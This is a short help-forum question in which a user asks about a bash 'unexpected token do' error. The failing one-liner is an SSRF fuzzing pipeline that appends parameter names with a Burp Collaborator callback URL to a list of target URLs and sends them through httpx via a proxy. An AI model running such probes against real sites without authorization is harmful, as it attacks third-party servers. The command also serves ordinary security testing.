syntax error near unexpected token do in bash-script

Question

While I am running such scripit it throughs me an error

xargs -a /root/magicparameter/ssrf.txt -I@ bash -c ‘for url in $(cat FUZZvul.txt); do echo “$url&@=http://g8p1iuccym91pvte3ek581o8szypme.burpcollaborator.net”;done’ | httpx -http-proxy http://127.0.0.1:8080

Error

unexpected token 'do' (position 83)